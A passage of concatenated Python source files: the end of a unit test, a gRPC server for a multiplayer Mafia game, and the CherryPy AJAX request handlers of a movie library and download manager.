self.assertIsNone(cur.finalizer) if __name__ == "__main__": unittest.main()
mafia_service.py
import logging import threading import time import random from concurrent import futures import grpc import mafia_pb2 import mafia_pb2_grpc import mafia.service.service_config as config from mafia.service.decorators import validate_day, validate_night, validate_game_started, validate_game_not_started, \ validate_is_alive, validate_is_game, lock class MafiaServicer(mafia_pb2_grpc.MafiaServicer): def __init__(self): self._lock = threading.Lock() self._day_interval = config.DAY_INTERVAL.day self._users = {} # {user_id: mafia_pb2_grpc.User} self._roles = {} # {user_id: config.ROLES} self._accuse_votes = {} # {accusing_user_id: accused_user_id} self._mafia_votes = {} # {mafia_user_id: victim_user_id} self._detective_votes = {} # {detective_user_id: suspect_user_id} self._user_messages = {} # {user_id: ['message1', ...]} self._finish_day_votes = {} # {user_id: True} self._is_game_started = False self._is_game_finished = False self._day_num = 0 @validate_is_game def init_communication_channel(self, request_iterator, context): user_id = None while True: for request in request_iterator: user_id = request.user_id if request.data_type == mafia_pb2.CommunicationDataType.Value('HANDSHAKE_MESSAGE'): print(f'Hanshake with user {user_id}') yield self._handle_handshake_message() elif request.data_type == mafia_pb2.CommunicationDataType.Value('BROADCAST_MESSAGE'): print(f'Received broadcast message from {user_id}') yield self._handle_broadcast_message(request) elif request.data_type == mafia_pb2.CommunicationDataType.Value('DECISION_MESSAGE'): print(f'Received mafia message from {user_id}') yield self._handle_decision(request) elif request.data_type == mafia_pb2.CommunicationDataType.Value('EMPTY_MESSAGE'): pass if user_id is not None and self._user_messages[user_id]: message = self._user_messages[user_id].pop(0) yield message else: yield mafia_pb2.CommunicationResponse() def _handle_handshake_message(self): return mafia_pb2.CommunicationResponse(message='You successfully joined Mafia game', author='Admin') @validate_is_alive def _handle_broadcast_message(self, request): cur_user_id = request.user_id message = request.message user_role = self._roles[cur_user_id] filter_role = lambda _: True if self._day_interval == config.DAY_INTERVAL.night: if user_role in [config.ROLES.mafia, config.ROLES.detective]: filter_role = lambda role: role == user_role else: return mafia_pb2.Response( status=mafia_pb2.StatusCode.StatusCode_FORBIDDEN, message=f"You cannot message during night") for user_id in self._users: if cur_user_id != user_id and filter_role(self._roles[user_id]): self._user_messages[user_id].append( mafia_pb2.CommunicationResponse(message=message, author=self._users[cur_user_id].name)) return mafia_pb2.CommunicationResponse() @validate_night @validate_is_alive def _handle_decision(self, request): print(f"Decision request: {request}") print(f"Mafia votes: {self._mafia_votes}") print(f"Detective votes: {self._detective_votes}") cur_user_id = request.user_id role = self._roles[cur_user_id] if role in [config.ROLES.mafia, config.ROLES.detective]: target_user_id = int(request.message.strip()) if target_user_id not in self._users: return mafia_pb2.CommunicationResponse(message=f'No user with id {target_user_id}', author='Admin') elif (role == config.ROLES.mafia and self._mafia_votes[cur_user_id] is not None) or \ (role == config.ROLES.detective and self._detective_votes[cur_user_id] is not None): return mafia_pb2.CommunicationResponse(message='You already voted', author='Admin') elif self._roles[target_user_id] == role: return mafia_pb2.CommunicationResponse( message=f'User {target_user_id} has the same role with you', author='Admin') elif self._roles[target_user_id] == config.ROLES.ghost: return mafia_pb2.CommunicationResponse(message=f'User {target_user_id} is already died', author='Admin') else: if role == config.ROLES.mafia: votes = self._mafia_votes elif role == config.ROLES.detective: votes = self._detective_votes else: raise ValueError("Invalid role") votes[cur_user_id] = target_user_id for user_id in self._users: if user_id != cur_user_id and self._roles[user_id] == role: self._user_messages[user_id].append( mafia_pb2.CommunicationResponse( message=f'I vote for {target_user_id}', author=self._users[cur_user_id].name)) return mafia_pb2.CommunicationResponse(message=f"You voted for user {target_user_id}", author='Admin') else: return mafia_pb2.CommunicationResponse(message="You are not mafia or detective", author='Admin') @validate_game_not_started @lock @validate_is_game def add_user(self, request, context): print(f'User messages: {self._user_messages}') cur_user_id = len(self._users) name = request.name while cur_user_id in self._users: cur_user_id += 1 for user_id in self._users: self._user_messages[user_id].append( mafia_pb2.CommunicationResponse(message=f'User {name} has just been added', author='Admin')) user = mafia_pb2.User(user_id=cur_user_id, name=name) self._users[cur_user_id] = user self._roles[cur_user_id] = config.ROLES.not_assigned self._user_messages[cur_user_id] = [] return mafia_pb2.Response(status=mafia_pb2.StatusCode.StatusCode_CREATED, data={"user_id": str(cur_user_id)}) @validate_game_not_started @validate_is_game def delete_user(self, request, context): user_id = request.user_id if user_id in self._users: del self._users[user_id] return mafia_pb2.DeleteUserResponse(status=mafia_pb2.StatusCode.StatusCode_OK) else: return mafia_pb2.Response( status=mafia_pb2.StatusCode.StatusCode_NOT_FOUND, message=f"No user with id {user_id}") def _is_alive(self, user_id): return self._roles[user_id] != config.ROLES.ghost def get_users(self, request, context): users = '\n'.join([ f'{user.name}, user_id: {user.user_id}, is alive: {self._is_alive(user.user_id)}' for user in self._users.values() ]) return mafia_pb2.Response(status=mafia_pb2.StatusCode.StatusCode_OK, data={"users": users}) @lock def _assign_roles(self): assert len(self._users) >= config.MIN_USERS_NUM shuffled_user_ids = random.sample(self._users.keys(), len(self._users)) mafias_num = config.MAFIA_NUM for user_id in shuffled_user_ids[:mafias_num]: self._roles[user_id] = config.ROLES.mafia self._roles[shuffled_user_ids[mafias_num]] = config.ROLES.detective for user_id in shuffled_user_ids[mafias_num + 1:]: self._roles[user_id] = config.ROLES.innocent @validate_day @validate_game_started @validate_is_alive @validate_is_game def accuse_user(self, request, context): if self._day_num > 1: accusing_user_id = request.accusing_user_id accused_user_id = request.accused_user_id if self._roles[accused_user_id] == config.ROLES.ghost: return mafia_pb2.Response( status=mafia_pb2.StatusCode.StatusCode_BAD_REQUEST, message=f'User {accused_user_id} is already a ghost') elif accusing_user_id in self._users and accused_user_id in self._users: self._accuse_votes[accusing_user_id] = accused_user_id return mafia_pb2.Response(status=mafia_pb2.StatusCode.StatusCode_OK, message='OK') else: return mafia_pb2.Response(status=mafia_pb2.StatusCode.StatusCode_BAD_REQUEST, message='Wrong user ids') else: return mafia_pb2.Response( status=mafia_pb2.StatusCode.StatusCode_BAD_REQUEST, message="You can't vote in the first day") def run(self): print("Run") while True: if not self._is_game_started and len(self._users) >= config.MIN_USERS_NUM: self._start_game() if self._is_game_started: # Finish day and start night if all(self._finish_day_votes.values()) and self._day_interval == config.DAY_INTERVAL.day: self._start_night() # Start day elif all([x is not None for x in self._mafia_votes.values()]) and all( [x is not None for x in self._detective_votes.values()]) and \ self._day_interval == config.DAY_INTERVAL.night: print("Everybody voted, finish night") self._start_day() elif self._is_mafia_win() and not self._is_game_finished: self._is_game_finished = True for user_id in self._user_messages: mafias = [ user.name for user in self._users.values() if self._roles[user.user_id] == config.ROLES.mafia ] self._user_messages[user_id].append( mafia_pb2.CommunicationResponse(message=f'Mafia ({mafias}) wins!', author='Admin')) @lock def _is_mafia_win(self): alive_mafia_count = 0 alive_others_count = 0 for user_id in self._users: if self._is_alive(user_id): if self._roles[user_id] == config.ROLES.mafia: alive_mafia_count += 1 else: alive_others_count += 1 return alive_mafia_count >= alive_others_count def _start_game(self): print("Started game") self._is_game_started = True self._assign_roles() self._start_day() print("Game started") for user_id in self._users: self._user_messages[user_id].append( mafia_pb2.CommunicationResponse( message=f'Game has just started, your role is {self._roles[user_id]}', author='Admin')) @validate_day @validate_game_started @validate_is_alive @validate_is_game @lock def vote_finish_day(self, request, context): cur_user_id = request.user_id print(f"Received VOTE for DAY FINISH from {cur_user_id}") if cur_user_id in self._users: self._finish_day_votes[cur_user_id] = True for user_id in self._users: if user_id != cur_user_id: self._user_messages[user_id].append( mafia_pb2.CommunicationResponse( message=f'User {cur_user_id} voted to finish game day', author='Admin')) return mafia_pb2.Response(status=mafia_pb2.StatusCode.StatusCode_OK, message='Your vote has been counted') else: return mafia_pb2.Response(status=mafia_pb2.StatusCode.StatusCode_BAD_REQUEST, message='Wrong user id') @lock def _start_day(self): print("Started day") assert len(self._users) >= config.MIN_USERS_NUM if self._day_num != 0: self._execute_mafia_decision() self._execute_detective_decision() self._day_interval = config.DAY_INTERVAL.day self._day_num += 1 self._accuse_votes = { user_id: None for user_id in self._users if self._roles[user_id] is not config.ROLES.ghost } self._finish_day_votes = { user_id: False for user_id in self._users if self._roles[user_id] is not config.ROLES.ghost } def _execute_mafia_decision(self): mafia_votes = list(self._mafia_votes.values()) target_user_id = max(set(mafia_votes), key=mafia_votes.count) self._roles[target_user_id] = config.ROLES.ghost for user_id in self._users: if user_id == target_user_id: message = mafia_pb2.CommunicationResponse(message='Mafia killed you', author='Admin') else: message = mafia_pb2.CommunicationResponse(message=f'Mafia killed user {target_user_id}', author='Admin') self._user_messages[user_id].append(message) def _execute_detective_decision(self): detective_votes = list(self._detective_votes.values()) target_user_id = max(set(detective_votes), key=detective_votes.count) if self._roles[target_user_id] == config.ROLES.mafia: self._roles[target_user_id] = config.ROLES.ghost for user_id in self._users: self._user_messages[user_id].append( mafia_pb2.CommunicationResponse( message=f'Detective found mafia: user {target_user_id}', author='Admin')) else: for user_id in self._users: self._user_messages[user_id].append( mafia_pb2.CommunicationResponse(message=f'Detective didnt find mafia', author='Admin')) @lock def _start_night(self): print("Started night") if self._day_num != 1: self._kill_accused_user() self._mafia_votes = {user_id: None for user_id in self._users if self._roles[user_id] == config.ROLES.mafia} self._detective_votes = { user_id: None for user_id in self._users if self._roles[user_id] == config.ROLES.detective } self._day_interval = config.DAY_INTERVAL.night self._finish_day_votes = {user_id: False for user_id in self._users} for user_id in self._users: self._user_messages[user_id].append( mafia_pb2.CommunicationResponse(message=f'Night started', author='Admin')) if self._roles[user_id] == config.ROLES.mafia: self._user_messages[user_id].append( mafia_pb2.CommunicationResponse(message=f'Choose who to kill', author='Admin')) elif self._roles[user_id] == config.ROLES.detective: self._user_messages[user_id].append( mafia_pb2.CommunicationResponse(message=f'Choose who to check', author='Admin')) def _kill_accused_user(self): votes = list(self._accuse_votes.values()) target_user_id = max(set(votes), key=votes.count) self._roles[target_user_id] = config.ROLES.ghost for user_id in self._users: if user_id == target_user_id: message = mafia_pb2.CommunicationResponse( message='Majority voted for you, you are a ghost now', author='Admin') else: message = mafia_pb2.CommunicationResponse( message=f'User {target_user_id} was killed by votes', author='Admin') self._user_messages[user_id].append(message) def serve(servicer): server = grpc.server(futures.ThreadPoolExecutor(max_workers=10)) mafia_pb2_grpc.add_MafiaServicer_to_server(servicer, server) server.add_insecure_port('[::]:50051') server.start() server.wait_for_termination() if __name__ == '__main__': logging.basicConfig() servicer = MafiaServicer() threads = [threading.Thread(target=lambda: serve(servicer)), threading.Thread(target=lambda: servicer.run())] for thread in threads: thread.start() for thread in threads: thread.join()
ajax.py
import json import logging import os import threading import time import cherrypy import datetime import core from core import config, library, searchresults, searcher, snatcher, notification, plugins, downloaders from core.library import Metadata, Manage from core.movieinfo import TheMovieDatabase, YouTube from core.providers import torrent, newznab from core.helpers import Conversions import backup from gettext import gettext as _ logging = logging.getLogger(__name__) class Errors(): ''' Namespace for common error messages used in AJAX responses ''' database_write = _('Unable to write to database.') database_read = _('Unable to read {} details from database.') tmdb_not_found = _('Unable to find {} on TheMovieDB.') class Ajax(object): ''' These are all the methods that handle ajax post/get requests from the browser. Except in special circumstances, all should return an 'ajax-style response', which is a dict with a response key to indicate success, and additional keys for expected data output. For example {'response': False, 'error': 'something broke'} {'response': True, 'results': ['this', 'is', 'the', 'output']} ''' @cherrypy.expose @cherrypy.tools.json_out() def library(self, sort_key, sort_direction, limit=50, offset=0, hide_finished=False): ''' Get 50 movies from library sort_key (str): column name to sort by sort_direction (str): direction to sort [ASC, DESC] limit: int number of movies to get <optional - default 50> offset: int list index postition to start slice <optional - default 0> hide_finished (bool): get finished/disabled movies or not hide_finished will be converted to bool if string is passed Gets a 25-movie slice from library sorted by sort key Returns list of dicts of movies ''' return core.sql.get_user_movies(sort_key, sort_direction.upper(), limit, offset, hide_finished=True if hide_finished == 'True' else False) @cherrypy.expose @cherrypy.tools.json_out() def search_tmdb(self, search_term): ''' Search tmdb for movies search_term (str): title and year of movie (Movie Title 2016) Returns list of dicts that contain tmdb's data. ''' results = TheMovieDatabase.search(search_term) if not results: logging.info('No Results found for {}'.format(search_term)) return results @cherrypy.expose @cherrypy.tools.json_out() def tmdb_categories(self, cat, tmdbid=None): ''' Get categories of movies from TMDB Returns list of dicts of movies ''' return TheMovieDatabase.get_category(cat, tmdbid)[:8] @cherrypy.expose @cherrypy.tools.json_out() def quick_titles(self): return core.sql.quick_titles() @cherrypy.expose @cherrypy.tools.json_out() def get_search_results(self, imdbid, quality=None): ''' Gets search results for movie imdbid (str): imdb id # quality (str): quality profile for movie <optional - default None> Passes request to sql.get_search_results() then filters out unused download methods. Returns dict ajax-style response ''' results = core.sql.get_search_results(imdbid, quality=quality) if not core.CONFIG['Downloader']['Sources']['usenetenabled']: results = [res for res in results if res.get('type') != 'nzb'] if not core.CONFIG['Downloader']['Sources']['torrentenabled']: results = [res for res in results if res.get('type') != 'torrent'] if not results: ne = core.scheduler_plugin.task_list['Movie Search'].next_execution ne = Conversions.human_datetime(ne) if ne else '[Disabled]' return {'response': False, 'next': ne} else: for i in results: i['size'] = Conversions.human_file_size(i['size']) return {'response': True, 'results': results} @cherrypy.expose def get_trailer(self, title, year): ''' Gets trailer embed url from youtube title (str): title of movie year (str/int): year of movie release Returns str ''' return YouTube.trailer('{} {}'.format(title, year)) @cherrypy.expose @cherrypy.tools.json_out() def add_wanted_movie(self, data): ''' Adds movie to library data (str): json-formatted dict of known movie data Calls library.Manage.add_movie to add to library. Returns dict ajax-style response ''' movie = json.loads(data) response = Manage.add_movie(movie, full_metadata=False) if response['response'] and core.CONFIG['Search']['searchafteradd'] and movie['year'] != 'N/A': threading.Thread(target=searcher._t_search_grab, args=(movie,)).start() return response @cherrypy.expose @cherrypy.tools.json_out() def save_settings(self, data): ''' Saves settings to config file data (dict): of Section with nested dict of keys and values: {'Section': {'key': 'val', 'key2': 'val2'}, 'Section2': {'key': 'val'}} All dicts must contain the full tree or data will be lost. Fires off additional methods if neccesary, ie scheduler restart/reloads Returns dict ajax-style response ''' logging.info('Saving settings.') data = json.loads(data) save_data = {} for key in data: if data[key] != core.CONFIG[key]: save_data[key] = data[key] if not save_data: return {'response': True, 'message': _('Settings saved.')} try: config.write(save_data) except (SystemExit, KeyboardInterrupt): raise except Exception as e: logging.error('Writing config.', exc_info=True) return {'response': False, 'error': _('Unable to write to config file.')} return {'response': True, 'message': _('Settings saved.')} @cherrypy.expose @cherrypy.tools.json_out() def remove_movie(self, imdbid): ''' Removes movie imdbid (str): imdb id # Returns dict ajax-style response ''' return Manage.remove_movie(imdbid) @cherrypy.expose @cherrypy.tools.json_out() def delete_movie_file(self, imdbid): ''' Deletes movie file for imdbid imdbid (str): imdb id # Returns dict ajax-style response ''' logging.info('Deleting file for {}.'.format(imdbid)) f = core.sql.get_movie_details('imdbid', imdbid).get('finished_file') try: logging.debug('Finished file for {} is {}'.format(imdbid, f)) os.unlink(f) return {'response': True, 'message': _('Deleted movie file {}.').format(f)} except Exception as e: logging.error('Unable to delete file {}'.format(f), exc_info=True) return {'response': False, 'error': str(e)} @cherrypy.expose @cherrypy.tools.json_out() def search(self, imdbid): ''' Search indexers for specific movie. imdbid (str): imdb id # Gets movie data from database and sends to searcher.search() Returns dict ajax-style response ''' logging.info('Starting user-requested backlog search for {}'.format(imdbid)) movie = core.sql.get_movie_details('imdbid', imdbid) if not movie: return {'response': False, 'error': Errors.database_read.format(imdbid)} else: success = searcher.search(imdbid, movie['title'], movie['year'], movie['quality']) status = core.sql.get_movie_details('imdbid', imdbid)['status'] if success: results = core.sql.get_search_results(imdbid, movie['quality']) for i in results: i['size'] = Conversions.human_file_size(i['size']) r = {'response': True, 'results': results, 'movie_status': status} if len(results) == 0: ne = core.scheduler_plugin.task_list['Movie Search'].next_execution r['next'] = Conversions.human_datetime(ne) if ne else '[Disabled]' return r else: return {'response': False, 'error': Errors.database_read.format(imdbid), 'movie_status': status} @cherrypy.expose @cherrypy.tools.json_out() def manual_download(self, year, guid, kind): ''' Sends search result to downloader manually guid (str): download link for nzb/magnet/torrent file. kind (str): type of download (torrent, magnet, nzb) Returns dict ajax-style response ''' torrent_enabled = core.CONFIG['Downloader']['Sources']['torrentenabled'] usenet_enabled = core.CONFIG['Downloader']['Sources']['usenetenabled'] if kind == 'nzb' and not usenet_enabled: return {'response': False, 'error': _('Link is NZB but no Usent client is enabled.')} elif kind in ('torrent', 'magnet') and not torrent_enabled: return {'response': False, 'error': _('Link is Torrent/Magnet but no Torrent client is enabled.')} data = dict(core.sql.get_single_search_result('guid', guid)) if data: data['year'] = year return snatcher.download(data) else: return {'response': False, 'error': Errors.database_read.format(kind)} @cherrypy.expose @cherrypy.tools.json_out() def mark_bad(self, guid, imdbid, cancel_download=False): ''' Marks guid as bad in SEARCHRESULTS and MARKEDRESULTS guid (str): guid of download to mark imdbid (str): imdb id # of movie cancel_download (bool): send command to download client to cancel download Returns dict ajax-style response ''' sr_orig = core.sql.get_single_search_result('guid', guid) sr = Manage.searchresults(guid, 'Bad') Manage.markedresults(guid, 'Bad', imdbid=imdbid) if sr: response = {'response': True, 'message': _('Marked release as Bad.')} else: response = {'response': False, 'error': Errors.database_write} response['movie_status'] = Manage.movie_status(imdbid) if not response['movie_status']: response['error'] = (Errors.database_write) response['response'] = False if cancel_download: cancelled = False if sr_orig.get('status') != 'Snatched': return response client = sr_orig['download_client'] if sr_orig else None downloadid = sr_orig['downloadid'] if sr_orig else None if not client: logging.info('Download client not found, cannot cancel download.') return response else: cancelled = getattr(downloaders, client).cancel_download(downloadid) if not cancelled: response['response'] = False response['error'] = response.get('error', '') + _(' Could not remove download from client.') return response @cherrypy.expose def notification_remove(self, index): ''' Removes notification from core.notification index (str/int): index of notification to remove 'index' will be of type string since it comes from ajax request. Therefore we convert to int here before passing to Notification Simply calls Notification module. Does not return ''' notification.remove(int(index)) return @cherrypy.expose @cherrypy.tools.json_out() def update_check(self): ''' Manually check for updates Returns list: [0] dict ajax-style response [1] dict of core notifications ''' response = core.updater.update_check() if response['status'] == 'current': n = [[{'message': _('No updates available.')}, {'type': 'primary'}]] return [response, n] else: return [response, core.NOTIFICATIONS] @cherrypy.expose @cherrypy.tools.json_out() def test_downloader_connection(self, mode, data): ''' Test connection to downloader. mode (str): which downloader to test. data (dict): connection information (url, port, login, etc) Executes staticmethod in the chosen downloader's class. Returns dict ajax-style response ''' response = {} data = json.loads(data) test = getattr(downloaders, mode).test_connection(data) if test is True: response['response'] = True response['message'] = _('Connection successful.') else: response['response'] = False response['error'] = test return response @cherrypy.expose def server_status(self, mode): ''' Check or modify status of CherryPy server_status mode (str): command or request of state Restarts or Shuts Down server in separate thread. Delays by one second to allow browser to redirect. If mode == 'online', asks server for status. (ENGINE.started, ENGINE.stopped, etc.) Returns nothing for mode == restart || shutdown Returns str server state if mode == online ''' if mode == 'restart': threading.Timer(1, core.restart).start() return elif mode == 'shutdown': threading.Timer(1, core.shutdown).start() return elif mode == 'online': return str(cherrypy.engine.state) @cherrypy.expose def update_server(self, mode): ''' Starts and executes update process. mode (str): 'set_true' or 'update_now' This method has two major functions based on mode set_true: Sets core.UPDATING to True, the browser should then automatically redirect the user to the update page that calls update_server('update_now') update_now: Starts update process: * Stops task scheduler to cancel all Timers * Waits for in-process tasks to finish. Yields to browser a list of currently-running tasks every 1.5 seconds * Yields updating message to browser. Calls update method * Sets core.UPDATING to False * Yields response from update method to browser If False, starts scheduler plugin again to get back to a normal state If True, calls restart method. Browser is responsible for redirecting afer the server is back up. Returns dict ajax-style response ''' if mode == 'set_true': core.UPDATING = True return json.dumps({'response': True}) if mode == 'update_now': logging.info('Update process started.') core.scheduler_plugin.stop() active_tasks = [k for k, v in core.scheduler_plugin.task_list.items() if v.running] while len(active_tasks) > 0: yield json.dumps({'response': True, 'status': 'waiting', 'active_tasks': active_tasks}) active_tasks = [k for k, v in core.scheduler_plugin.task_list.items() if v.running] time.sleep(1.5) yield json.dumps({'response': True, 'status': 'updating'}) update_status = core.updater.execute_update() core.UPDATING = False if update_status is False: logging.error('Update Failed.') yield json.dumps({'response': False, 'error': _('Unable to complete update.')}) core.scheduler_plugin.restart() elif update_status is True: yield json.dumps({'response': True, 'status': 'complete'}) self.server_status('restart') else: return json.dumps({'response': False}) update_server._cp_config = {'response.stream': True, 'tools.gzip.on': False} @cherrypy.expose @cherrypy.tools.json_out() def update_movie_options(self, quality, status, filters, imdbid): ''' Updates quality settings for individual title quality (str): name of new quality status (str): management state ('automatic', 'disabled') filters (str): JSON.stringified dict of filter words imdbid (str): imdb identification number Returns dict ajax-style response ''' success = {'response': True, 'message': _('Movie options updated.')} logging.info('Setting Quality and filters for {}.'.format(imdbid)) if not core.sql.update_multiple_values('MOVIES', {'quality': quality, 'filters': filters}, 'imdbid', imdbid): return {'response': False, 'error': Errors.database_write} logging.info('Updating status to {} for {}.'.format(status, imdbid)) if status == 'Automatic': if not core.sql.update('MOVIES', 'status', 'Waiting', 'imdbid', imdbid): return {'response': False, 'error': Errors.database_write} new_status = Manage.movie_status(imdbid) if not new_status: return {'response': False, 'error': Errors.database_write} else: success['status'] = new_status return success elif status == 'Disabled': if not core.sql.update('MOVIES', 'status', 'Disabled', 'imdbid', imdbid): return {'response': False, 'error': Errors.database_write} else: success['status'] = 'Disabled' return success @cherrypy.expose def get_log_text(self, logfile): ''' Gets log file contents logfile (str): name of log file to read logfile should be filename only, not the path to the file Returns str ''' logging.info('Dumping log file {} to text.'.format(logfile)) with open(os.path.join(core.LOG_DIR, logfile), 'r') as f: log_text = ''.join(reversed(f.readlines())) return log_text @cherrypy.expose @cherrypy.tools.json_out() def indexer_test(self, indexer, apikey, mode): ''' Tests connection to newznab indexer indexer (str): url of indexer apikey (str): indexer's api key mode (str): newznab or torznab Returns dict ajax-style response ''' if mode == 'newznab': return newznab.NewzNab.test_connection(indexer, apikey) elif mode == 'torznab': return torrent.Torrent.test_connection(indexer, apikey) else: return {'response': False, 'error': _('Invalid test mode.')} @cherrypy.expose @cherrypy.tools.json_out() def get_plugin_conf(self, folder, conf): ''' Calls plugin_conf_popup to render html folder (str): folder to read config file from conf (str): filename of config file (ie 'my_plugin.conf') Returns string ''' c = os.path.join(core.PLUGIN_DIR, folder, conf) logging.info('Reading plugin config {}'.format(c)) try: with open(c) as f: config = json.load(f) except Exception as e: logging.error('Unable to read config file.', exc_info=True) return '' return plugins.render_config(config) @cherrypy.expose @cherrypy.tools.json_out() def save_plugin_conf(self, folder, filename, config): ''' Calls plugin_conf_popup to render html folder (str): folder to store config file filename (str): filename of config file (ie 'my_plugin.conf') config (str): json data to store in conf file Returns dict ajax-style response ''' conf_file = os.path.join(core.PROG_PATH, core.PLUGIN_DIR, folder, filename) logging.info('Saving plugin config as {}'.format(conf_file)) config = json.loads(config) response = {'response': True, 'message': _('Settings saved.')} try: with open(conf_file, 'w') as output: json.dump(config, output, indent=2) except Exception as e: response = {'response': False, 'error': str(e)} return response @cherrypy.expose def scan_library_directory(self, directory, minsize, recursive): ''' Calls library to scan directory for movie files directory (str): directory to scan minsize (str/int): minimum file size in mb, coerced to int resursive (bool): whether or not to search subdirs Finds all files larger than minsize in directory. Removes all movies from gathered list that are already in library. If error, yields {'error': reason} and stops Iteration If movie has all metadata, yields: {'complete': {<metadata>}} If missing imdbid or resolution, yields: {'incomplete': {<knownn metadata>}} All metadata dicts include: 'path': 'absolute path to file' 'progress': '10 of 250' Yeilds dict ajax-style response ''' recursive = json.loads(recursive) minsize = int(minsize) files = core.library.ImportDirectory.scan_dir(directory, minsize, recursive) if files.get('error'): yield json.dumps({'error': files['error']}) raise StopIteration() library = [i['imdbid'] for i in core.sql.get_user_movies()] files = files['files'] length = len(files) if length == 0: yield json.dumps({'response': None}) raise StopIteration() logging.info('Parsing {} directory scan results.'.format(length)) for index, path in enumerate(files): logging.info('Gathering metatadata for {}'.format(path)) metadata = {} response = {'progress': [index + 1, length]} try: metadata = Metadata.from_file(path) if not metadata.get('imdbid'): metadata['imdbid'] = '' logging.info('IMDB unknown for import {}'.format(metadata['title'])) response['response'] = 'incomplete' elif metadata['imdbid'] in library: logging.info('{} ({}) already in library, ignoring.'.format(metadata['title'], path)) response['response'] = 'in_library' elif not metadata.get('resolution'): logging.info('Resolution/Source unknown for import {}'.format(metadata['title'])) response['response'] = 'incomplete' else: logging.info('All data found for import {}'.format(metadata['title'])) response['response'] = 'complete' if response['response'] == 'complete': p = metadata.get('poster_path') r = metadata.get('resolution') metadata = Metadata.convert_to_db(metadata) metadata['poster_path'] = p metadata['resolution'] = r metadata['size'] = os.path.getsize(path) metadata['human_size'] = Conversions.human_file_size(metadata['size']) metadata['finished_file'] = path if response['response'] == 'in_library': metadata = {'title': metadata['title']} response['movie'] = metadata yield json.dumps(response) except Exception as e: logging.warning('Error gathering metadata.', exc_info=True) yield json.dumps({'response': 'incomplete', 'movie': metadata}) continue scan_library_directory._cp_config = {'response.stream': True, 'tools.gzip.on': False} @cherrypy.expose def import_dir(self, movies, corrected_movies): ''' Imports list of movies in data movie_data (list): dicts of movie info ready to import corrected_movies (list): dicts of user-corrected movie info corrected_movies must be [{'/path/to/file': {'known': 'metadata'}}] Iterates through corrected_movies and attmpts to get metadata again if required. If imported, generates and stores fake search result. Creates dict {'success': [], 'failed': []} and appends movie data to the appropriate list. Yeilds dict ajax-style response ''' logging.info('Adding directory scan movies to library.') today = str(datetime.date.today()) movie_data = json.loads(movies) corrected_movies = json.loads(corrected_movies) fake_results = [] success = [] length = len(movie_data) + len(corrected_movies) progress = 1 if corrected_movies: logging.info('{} corrected movies, gathering metadata.'.format(len(corrected_movies))) for data in corrected_movies: tmdbdata = TheMovieDatabase._search_tmdbid(data['tmdbid']) if tmdbdata: tmdbdata = tmdbdata[0] data['year'] = tmdbdata['release_date'][:4] data.update(tmdbdata) movie_data.append(data) else: logging.error('Unable to find {} on TMDB.'.format(data['tmdbid'])) yield json.dumps({'response': False, 'movie': data, 'progress': [progress, length], 'error': Errors.tmdb_not_found.format(data['tmdbid'])}) progress += 1 logging.info('Adding {} directory scan movies to library.'.format(len(movie_data))) for movie in movie_data: if movie.get('imdbid'): movie['status'] = 'Disabled' movie['predb'] = 'found' movie['origin'] = 'Directory Import' movie['finished_date'] = today movie['id'] = movie['tmdbid'] response = Manage.add_movie(movie, full_metadata=True) if response['response'] is True: fake_results.append(searchresults.generate_simulacrum(movie)) yield json.dumps({'response': True, 'progress': [progress, length], 'movie': movie}) progress += 1 success.append(movie) continue else: yield json.dumps({'response': False, 'movie': movie, 'progress': [progress, length], 'error': response['error']}) progress += 1 continue else: logging.error('Unable to find {} on TMDB.'.format(movie['title'])) logging.debug(movie) yield json.dumps({'response': False, 'movie': movie, 'progress': [progress, length], 'error': Errors.tmdb_not_found.format(data['title'])}) progress += 1 fake_results = searchresults.score(fake_results, imported=True) for i in success: for r in fake_results: if r['imdbid'] == i['imdbid']: core.sql.update('MOVIES', 'finished_score', r['score'], 'imdbid', i['imdbid']) break core.sql.write_search_results(fake_results) import_dir._cp_config = {'response.stream': True, 'tools.gzip.on': False} @cherrypy.expose @cherrypy.tools.json_out() def list_files(self, current_dir, move_dir): ''' Lists files in directory current_dir (str): base path move_dir (str): child path to read Joins and normalizes paths: ('/home/user/movies', '..') Becomes /home/user Returns dict ajax-style response ''' current_dir = current_dir.strip() move_dir = move_dir.strip() response = {} new_path = os.path.normpath(os.path.join(current_dir, move_dir)) response['new_path'] = new_path try: response['list'] = [i for i in os.listdir(new_path) if os.path.isdir(os.path.join(new_path, i)) and not i.startswith('.')] except Exception as e: response = {'error': str(e)} logging.error('Error listing directory.', exc_info=True) return response @cherrypy.expose @cherrypy.tools.json_out() def update_metadata(self, imdbid, tmdbid=None): ''' Re-downloads metadata for imdbid imdbid (str): imdbid of movie tmdbid (str): tmdbid of movie <optional - default None> If tmdbid is None, looks in database for tmdbid using imdbid. If that fails, looks on tmdb api for imdbid If that fails returns error message Returns dict ajax-style response ''' r = Metadata.update(imdbid, tmdbid) if r['response'] is True: return {'response': True, 'message': _('Metadata updated.')} else: return r @cherrypy.expose @cherrypy.tools.json_out() def single_movie_details(self, key, value): ''' Gets single movie's details from database key (str): key for sql.get_movie_details value (str): value for sql.get_movie_details Returns dict ''' return core.sql.get_movie_details(key, value) @cherrypy.expose @cherrypy.tools.json_out() def set_movie_details(self, data): ''' Updates movie in database data (dict): movie fields and values to update data *must* include valid tmdbid Returns dict ''' data = json.loads(data) tmdbid = data.pop('tmdbid') if not core.sql.update_multiple_values('MOVIES', data, 'tmdbid', tmdbid): return {'response': False, 'error': Errors.database_write} else: return {'response': True, 'message': 'Database Updated'} @cherrypy.expose @cherrypy.tools.json_out() def get_kodi_movies(self, url): ''' Gets list of movies from kodi server url (str): url of kodi server Calls Kodi import method to gather list. Returns dict ajax-style response ''' return library.ImportKodiLibrary.get_movies(url) @cherrypy.expose def import_kodi_movies(self, movies): ''' Imports list of movies in movies from Kodi library movie_data (str): json-formatted list of dicts of movies Iterates through movies and gathers all required metadata. If imported, generates and stores fake search result. Creates dict {'success': [], 'failed': []} and appends movie data to the appropriate list. Yeilds dict ajax-style response ''' movies = json.loads(movies) fake_results = [] success = [] length = len(movies) progress = 1 logging.info('Adding {} Kodi movies to library.'.format(length)) for movie in movies: if not movie['imdbid']: yield json.dumps({'response': False, 'movie': movie, 'progress': [progress, length], 'error': Errors.tmdb_not_found.format("NONE")}) progress += 1 continue tmdb_data = TheMovieDatabase._search_imdbid(movie['imdbid']) if not tmdb_data or not tmdb_data[0].get('id'): yield json.dumps({'response': False, 'movie': movie, 'progress': [progress, length], 'error': Errors.tmdb_not_found.format(movie['imdbid'])}) progress += 1 continue tmdb_data = tmdb_data[0] movie['id'] = tmdb_data['id'] movie['size'] = 0 movie['status'] = 'Disabled' movie['predb'] = 'found' movie['finished_file'] = 